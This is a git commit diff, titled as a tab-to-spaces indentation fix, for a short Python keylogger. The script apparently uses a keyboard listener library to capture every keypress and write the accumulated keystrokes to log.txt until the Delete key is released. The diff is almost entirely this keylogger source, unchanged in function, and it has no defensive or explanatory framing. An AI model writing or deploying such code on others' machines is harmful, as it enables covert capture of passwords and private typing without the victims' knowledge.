Replace tab indent with spaces

This commit is contained in:
nazmiasri95 2022-10-15 19:11:48 +08:00
parent 8b2d42e210
commit 4a4b533a45

View File

@ -6,24 +6,24 @@ keys = []
def on_press(key):
keys.append(key)
write_file(keys)
keys.append(key)
write_file(keys)
def write_file(keys):
with open('log.txt', 'w') as f:
for key in keys:
#removing ''
k = str(key).replace("'", "")
f.write(k)
#explicitly adding a space after every keystroke for readability
f.write(' ')
with open('log.txt', 'w') as f:
for key in keys:
#removing ''
k = str(key).replace("'", "")
f.write(k)
#explicitly adding a space after every keystroke for readability
f.write(' ')
def on_release(key):
if key == Key.delete:
return False
if key == Key.delete:
return False
with Listener(on_press = on_press, on_release = on_release) as listener:
listener.join()
listener.join()